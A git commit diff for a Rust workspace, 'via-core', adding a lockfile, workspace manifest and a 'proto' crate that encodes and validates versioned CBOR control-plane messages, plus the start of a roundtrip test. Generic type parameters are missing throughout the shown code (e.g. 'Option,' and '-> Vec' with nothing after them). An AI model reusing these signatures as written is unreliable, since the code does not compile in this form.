crates/roads/tests/fixtures/invalid/roads/a00034-classic-unsaid.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00035-custom-no-raw.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00036-raw-in-note.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00037-postup.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00038-expired.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00039-eva-no-devices.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00040-self.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00041-second-exit.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00042-direct-public.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00043-custom-object.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00044-tab.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/bad_name.md create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/address-in-route.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/address-loopback.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/address-twice.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/bad-key.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/bad-person-id.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/duplicate-key.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/duplicate-person.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/format-two.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/member-group.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/member-unknown.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/name-bidi.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/name-newline.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/name-newline.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/owner-unknown.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/route-host-bits.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/route-internet.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/route-link-local.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/route-overlap.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/service-host.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/service-no-ports.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/unknown-field.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/unknown-field.directory.json create mode 100644 crates/roads/tests/least_privilege.rs create mode 100644 crates/roads/tests/revocation.rs create mode 100644 crates/roads/tests/validation.rs create mode 100644 crates/via-cli/Cargo.toml create mode 100644 crates/via-cli/src/main.rs create mode 100644 crates/via-cli/tests/cli.rs create mode 100644 deny.toml diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..bd130d4 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,709 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "bit-set" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56d87354e4229f54a44f7bf2435906a4656dba36026ab6eaca629a2c436a691c" +dependencies = [ + "bit-vec", +] + +[[package]] +name = "bit-vec" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72503af1e72be411d74ca45cd6b309878fcb35354e252fc2a3a8bda3a97082a0" +dependencies = [ + "borsh", + "serde", +] + +[[package]] +name = "bitflags" +version = "2.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "borsh" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "553c5d846a6ba5150c65e3b1b8ec073bcf1abc20f9b7220de384a4443ea4e20a" +dependencies = [ + "borsh-derive", + "bytes", + "cfg_aliases", +] + +[[package]] +name = "borsh-derive" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12cdfe656708a01f89b451a7d36466e6fe6c414de0aa18fc54f864f6f9ca9f56" +dependencies = [ + "once_cell", + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 3.0.10", +] + +[[package]] +name = "bytes" +version = "1.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "776dfebd015e2d8732c684a2c71003674ccb49457b539b9e82151ba38e96dd7c" + +[[package]] +name = "cfg-if" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7648175b45a9a48536d676f68d918270699102aa8dab5496df06904c914600" + +[[package]] +name = "cfg_aliases" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" + +[[package]] +name = "chacha20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.1", + "rand_core", +] + +[[package]] +name = "ciborium" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42e69ffd6f0917f5c029256a24d0161db17cea3997d185db0d35926308770f0e" +dependencies = [ + "ciborium-io", + "ciborium-ll", + "serde", +] + +[[package]] +name = "ciborium-io" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05afea1e0a06c9be33d539b876f1ce3692f4afea2cb41f740e7743225ed1c757" + +[[package]] +name = "ciborium-ll" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57663b653d948a338bfb3eeba9bb2fd5fcfaecb9e199e87e1eda4d9e8b240fd9" +dependencies = [ + "ciborium-io", + "half", +] + +[[package]] +name = "core_detect" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f8f80099a98041a3d1622845c271458a2d73e688351bf3cb999266764b81d48" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca28b0ae3115b884660db4118d803791fd6756b6e88f39c0f3f7859060d7566" +dependencies = [ + "libc", +] + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "equivalent" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00d174d5400e5e8fd687ad1049e2f578285fa914201b1af7e8b112a4546bd826" + +[[package]] +name = "errno" +version = "0.3.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e35d6e78f4cebb90e51d543db8fe41528851d6deeef6ef21ebd4bfdc1e784776" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "rand_core", +] + +[[package]] +name = "half" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ea2d84b969582b4b1864a92dc5d27cd2b77b622a8d79306834f1be5ba20d84b" +dependencies = [ + "cfg-if", + "crunchy", + "zerocopy", +] + +[[package]] +name = "hashbrown" +version = "0.17.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "735eaa21a6a5ffb2e84362faaeb90c05ba8e19797ca30428478cb6ea3a4921bc" + +[[package]] +name = "indexmap" +version = "2.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc4e190f5d26ca7051642629da2c52fc03bde85a03197c99408dcd291734c855" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "ipnet" +version = "2.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "791930b43c0d5973160d90a8f3894509f2b273430f5c5c73b668636d0287c5c0" + +[[package]] +name = "itoa" +version = "1.0.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3bd1574e617a9a6c1f8f8181bd7e841e1f20e4277607ef28945765188d6284d4" + +[[package]] +name = "jiff" +version = "0.2.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175dc66334db3b9ab9985bf8b61cfed50dc16d20964bb47f9e479adcae984a7f" +dependencies = [ + "jiff-core", + "jiff-static", + "log", + "portable-atomic", + "portable-atomic-util", + "serde_core", +] + +[[package]] +name = "jiff-core" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e599b80292e597019b8b3e392de3f4bea2959ddfb8c7dff60e035e9e311a2c1b" +dependencies = [ + "log", +] + +[[package]] +name = "jiff-static" +version = "0.2.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7b1af7547d47354bc438d797e3854601bde8f8d185780c5ba4ab27afa54f1ba" +dependencies = [ + "jiff-core", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "libc" +version = "0.2.191" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65cd87c9a6d60536580b316ad985726104730a5151c99845f2490428ef91240a" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "log" +version = "0.4.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d15f86d12da44cd8d4ec3c73984537eb7f4cadcb9776a575a0a8a05ca11005c" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "portable-atomic" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05c8b63e8d9609db387f0324918f81d68fe27748f084ef092fb35954d0539a85" + +[[package]] +name = "portable-atomic-util" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10ab3eb7f3becc3a1cbc4f2c6f20267996cfc1a6467a873763411b136a122715" +dependencies = [ + "portable-atomic", +] + +[[package]] +name = "proc-macro-crate" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e67ba7e9b2b56446f1d419b1d807906278ffa1a658a8a5d8a39dcb1f5a78614f" +dependencies = [ + "toml_edit", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "proptest" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8530004ccb15eae51c7e40009fbe317f341f804db54dc033eec1c50be28cfa0" +dependencies = [ + "bit-set", + "bit-vec", + "bitflags", + "chacha20", + "core_detect", + "num-traits", + "rand", + "rand_xorshift", + "regex-syntax", + "rusty-fork", + "tempfile", + "unarray", +] + +[[package]] +name = "proto" +version = "0.1.0" +dependencies = [ + "ciborium", + "jiff", + "roads", + "serde", + "sha2", +] + +[[package]] +name = "quick-error" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f6fa277c67e6ea590466f04c3fe82cb509f0864fe470643e5570de9514a9b11" +dependencies = [ + "getrandom", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" + +[[package]] +name = "rand_xorshift" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60aa6af80be32871323012e02e6e65f8a7cc7890931ae421d217ad8fe0df2ccf" +dependencies = [ + "rand_core", +] + +[[package]] +name = "regex-syntax" +version = "0.8.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d902046e6a28a1e4c3cab97258a0ce11e994903f01c2d97a9447a0b3df85f4f6" + +[[package]] +name = "roads" +version = "0.1.0" +dependencies = [ + "base64", + "ipnet", + "jiff", + "proptest", + "serde", + "serde_json", + "tempfile", +] + +[[package]] +name = "rustix" +version = "1.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5e76742e5294153d4dde1207dbec5bdd81eef6fabdc0d2118babadabfd858aa" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys", +] + +[[package]] +name = "rusty-fork" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc6bf79ff24e648f6da1f8d1f011e9cac26491b619e6b9280f2b47f1774e6ee2" +dependencies = [ + "fnv", + "quick-error", + "tempfile", + "wait-timeout", +] + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.10", +] + +[[package]] +name = "serde_json" +version = "1.0.154" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7e9cc8b1b85264074fbcc02a88680c4096b1e47df8f739dceb03bf482f04bd6" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "digest", +] + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ae9ccbea3a7b0b09443036490c8f34a8b1b760fd345e5c0dae0aac718faea79" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom", + "once_cell", + "rustix", + "windows-sys", +] + +[[package]] +name = "toml_datetime" +version = "1.1.3+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "173f25c883cd2176a2d8212155638c0a60d484a9d84546d270866f40f56b6e49" +dependencies = [ + "serde_core", +] + +[[package]] +name = "toml_edit" +version = "0.25.21+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88497dab46de5bf343ec66b05c251e48c6213f3e9170c70a70a823f7abe886a4" +dependencies = [ + "indexmap", + "toml_datetime", + "toml_parser", + "winnow", +] + +[[package]] +name = "toml_parser" +version = "1.1.7+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bb28d6e049a9766c3bd91a8326e6179f5b132dec87906bb97018ef7a2f3431a" +dependencies = [ + "winnow", +] + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unarray" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaea85b334db583fe3274d12b4cd1880032beab409c0d774be044d4480ab9a94" + +[[package]] +name = "unicode-ident" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2c754d6c33795a1c324727428e5a7dedb5b06195f9890bdbcba760d3e246563" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "via-cli" +version = "0.1.0" +dependencies = [ + "jiff", + "proto", + "roads", + "serde_json", + "tempfile", +] + +[[package]] +name = "wait-timeout" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ac3b126d3914f9849036f826e054cbabdc8519970b8998ddaf3b5bd3c65f11" +dependencies = [ + "libc", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "winnow" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c3b93199df0ab874cdf0c6a94f0a0dc3423fe41f1cafb62b8bd7b1deb277aef" +dependencies = [ + "memchr", +] + +[[package]] +name = "zerocopy" +version = "0.8.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32bc8a75f879cd6fe53a6bedf3c28f0e1b914c77424fc2be9e2ec85d7d25aff5" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8bfd2644ea1681f60cf95029ff18aa8ad1cc3f7b8fe37286f8e473bb29f816b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..1118916 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,30 @@ +[workspace] +resolver = "3" +members = ["crates/roads", "crates/proto", "crates/via-cli"] + +[workspace.package] +version = "0.1.0" +edition = "2024" +rust-version = "1.88" +license = "CPAL-1.0" +repository = "https://gitea.marek-novak.cz/mnovak/via-core" +publish = false + +[workspace.dependencies] +roads = { path = "crates/roads" } +proto = { path = "crates/proto" } +serde = { version = "1", features = ["derive"] } +serde_json = "1" +jiff = { version = "0.2", default-features = false, features = ["std"] } +ipnet = "2" +base64 = "0.22" +ciborium = "0.2" +sha2 = "0.10" +proptest = "1" +tempfile = "3" + +[workspace.lints.rust] +unsafe_code = "forbid" + +[profile.release] +codegen-units = 1 diff --git a/crates/proto/Cargo.toml b/crates/proto/Cargo.toml new file mode 100644 index 0000000..d3cbb4a --- /dev/null +++ b/crates/proto/Cargo.toml @@ -0,0 +1,21 @@ +[package] +name = "proto" +description = "Via Domi: the control-plane messages, CBOR, versioned" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +license.workspace = true +repository.workspace = true +publish.workspace = true + +[dependencies] +roads.workspace = true +serde.workspace = true +ciborium.workspace = true +sha2.workspace = true + +[dev-dependencies] +jiff.workspace = true + +[lints] +workspace = true diff --git a/crates/proto/src/lib.rs b/crates/proto/src/lib.rs new file mode 100644 index 0000000..2295456 --- /dev/null +++ b/crates/proto/src/lib.rs @@ -0,0 +1,208 @@ +//! Via Domi's control-plane messages: CBOR (RFC 8949), versioned (docs/FORMATS.md, "The control protocol"). +//! +//! Decoding reads the version first and refuses anything else before the body is looked at; then it refuses +//! unknown fields, missing fields, trailing bytes and messages over 1 MiB. Encoding is deterministic. +//! Version 1 carries no signatures: Day 3 adds them with the device's Tessera key, as version 2. + +#![forbid(unsafe_code)] + +use roads::{DeviceKey, Plan}; +use serde::{Deserialize, Serialize}; +use sha2::{Digest as _, Sha256}; +use std::fmt; + +pub const VERSION: u16 = 1; +pub const MAX_MESSAGE: usize = 1024 * 1024; +/// Deepest CBOR nesting decoded; a plan is about 6 levels deep. +pub const MAX_DEPTH: usize = 32; + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Envelope { + pub v: u16, + pub body: Body, +} + +// A message lives for one send or receive; boxing the plan would buy nothing. +#[allow(clippy::large_enum_variant)] +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case", deny_unknown_fields)] +pub enum Body { + /// A device asks for its plan; `have` is the digest it already holds. + PlanRequest { + device: DeviceKey, + have: Option, + }, + /// The plan and the digest of its CBOR encoding. + Plan { + digest: Digest, + plan: Plan, + }, + /// The device applied the plan with this digest. + PlanAck { + device: DeviceKey, + digest: Digest, + }, + Refused { + code: RefusalCode, + message: String, + }, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum RefusalCode { + UnknownDevice, + BadRequest, + Unavailable, +} + +/// SHA-256, as 64 lowercase hex characters. +#[derive(Clone, PartialEq, Eq, Hash)] +pub struct Digest([u8; 32]); + +impl Digest { + pub fn of(bytes: &[u8]) -> Digest { + Digest(Sha256::digest(bytes).into()) + } + + pub fn to_hex(&self) -> String { + self.0.iter().map(|b| format!("{b:02x}")).collect() + } + + pub fn from_hex(s: &str) -> Option { + if s.len() != 64 + || !s + .bytes() + .all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b)) + { + return None; + } + let mut out = [0u8; 32]; + for (i, chunk) in s.as_bytes().chunks(2).enumerate() { + out[i] = u8::from_str_radix(std::str::from_utf8(chunk).ok()?, 16).ok()?; + } + Some(Digest(out)) + } +} + +impl fmt::Debug for Digest { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Digest({})", self.to_hex()) + } +} + +impl Serialize for Digest { + fn serialize(&self, s: S) -> Result { + s.serialize_str(&self.to_hex()) + } +} + +impl<'de> Deserialize<'de> for Digest { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + Digest::from_hex(&s) + .ok_or_else(|| serde::de::Error::custom("a digest is 64 lowercase hex characters")) + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Error { + TooLarge(usize), + /// Not one well-formed CBOR item, or nested deeper than [`MAX_DEPTH`]. + Malformed(String), + TrailingBytes(usize), + /// No `v`, or `v` is not an unsigned integer. + NoVersion, + UnsupportedVersion(u64), + /// The body does not match version 1: an unknown or missing field, a bad key or digest. + Invalid(String), + /// A `plan` whose digest is not the digest of its plan. + DigestMismatch, +} + +impl fmt::Display for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Error::TooLarge(n) => write!(f, "a message of {n} bytes is larger than {MAX_MESSAGE}"), + Error::Malformed(m) => write!(f, "not one CBOR item: {m}"), + Error::TrailingBytes(n) => write!(f, "{n} bytes after the message"), + Error::NoVersion => f.write_str("no protocol version"), + Error::UnsupportedVersion(v) => write!( + f, + "protocol version {v} is not supported (this build speaks {VERSION})" + ), + Error::Invalid(m) => write!(f, "not a version {VERSION} message: {m}"), + Error::DigestMismatch => f.write_str("the plan's digest does not match the plan"), + } + } +} + +impl std::error::Error for Error {} + +fn to_cbor(value: &T) -> Vec { + let mut out = Vec::new(); + ciborium::into_writer(value, &mut out).expect("writing CBOR to a Vec cannot fail"); + out +} + +/// The CBOR encoding of a plan, which its digest covers. +pub fn plan_cbor(plan: &Plan) -> Vec { + to_cbor(plan) +} + +pub fn plan_digest(plan: &Plan) -> Digest { + Digest::of(&plan_cbor(plan)) +} + +impl Envelope { + pub fn new(body: Body) -> Envelope { + Envelope { v: VERSION, body } + } + + /// A `plan` message, its digest computed here. + pub fn plan(plan: Plan) -> Envelope { + Envelope::new(Body::Plan { + digest: plan_digest(&plan), + plan, + }) + } + + pub fn encode(&self) -> Vec { + to_cbor(self) + } + + pub fn decode(bytes: &[u8]) -> Result { + if bytes.len() > MAX_MESSAGE { + return Err(Error::TooLarge(bytes.len())); + } + let mut reader = bytes; + let value: ciborium::Value = + ciborium::de::from_reader_with_recursion_limit(&mut reader, MAX_DEPTH) + .map_err(|e| Error::Malformed(e.to_string()))?; + if !reader.is_empty() { + return Err(Error::TrailingBytes(reader.len())); + } + let ciborium::Value::Map(entries) = &value else { + return Err(Error::NoVersion); + }; + let v = entries + .iter() + .find(|(k, _)| k.as_text() == Some("v")) + .and_then(|(_, v)| v.as_integer()) + .ok_or(Error::NoVersion)?; + let v = u64::try_from(v).map_err(|_| Error::NoVersion)?; + if v != VERSION as u64 { + return Err(Error::UnsupportedVersion(v)); + } + let env: Envelope = value + .deserialized() + .map_err(|e| Error::Invalid(e.to_string()))?; + if let Body::Plan { digest, plan } = &env.body + && plan_digest(plan) != *digest + { + return Err(Error::DigestMismatch); + } + Ok(env) + } +} diff --git a/crates/proto/tests/jana-phone.digest b/crates/proto/tests/jana-phone.digest new file mode 100644 index 0000000..eb9fd94 --- /dev/null +++ b/crates/proto/tests/jana-phone.digest @@ -0,0 +1 @@ +da086f1cc965aee30351547c6ac466939c627e2f915d5c67314a73357f38f68a diff --git a/crates/proto/tests/roundtrip.rs b/crates/proto/tests/roundtrip.rs new file mode 100644 index 0000000..0b8f772 --- /dev/null +++ b/crates/proto/tests/roundtrip.rs @@ -0,0 +1,248 @@ +//! The control protocol: plans survive CBOR byte for byte (custom raw blocks and the classic flag included, +//! QA R-44), encoding is deterministic, and decoding refuses what version 1 does not say. + +use proto::{Body, Digest, Envelope, Error, MAX_MESSAGE, RefusalCode, plan_cbor}; +use roads::{DeviceKey, Plan, Store, compile}; +use std::path::PathBuf; + +fn plans() -> Vec { + let dir = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../roads/tests/fixtures/home"); + let store = Store::load_dir(&dir).unwrap(); + let now: jiff::Timestamp = "2026-11-25T12:00:00+01:00".parse().unwrap(); + compile(&store, now).plans.into_values().collect() +} + 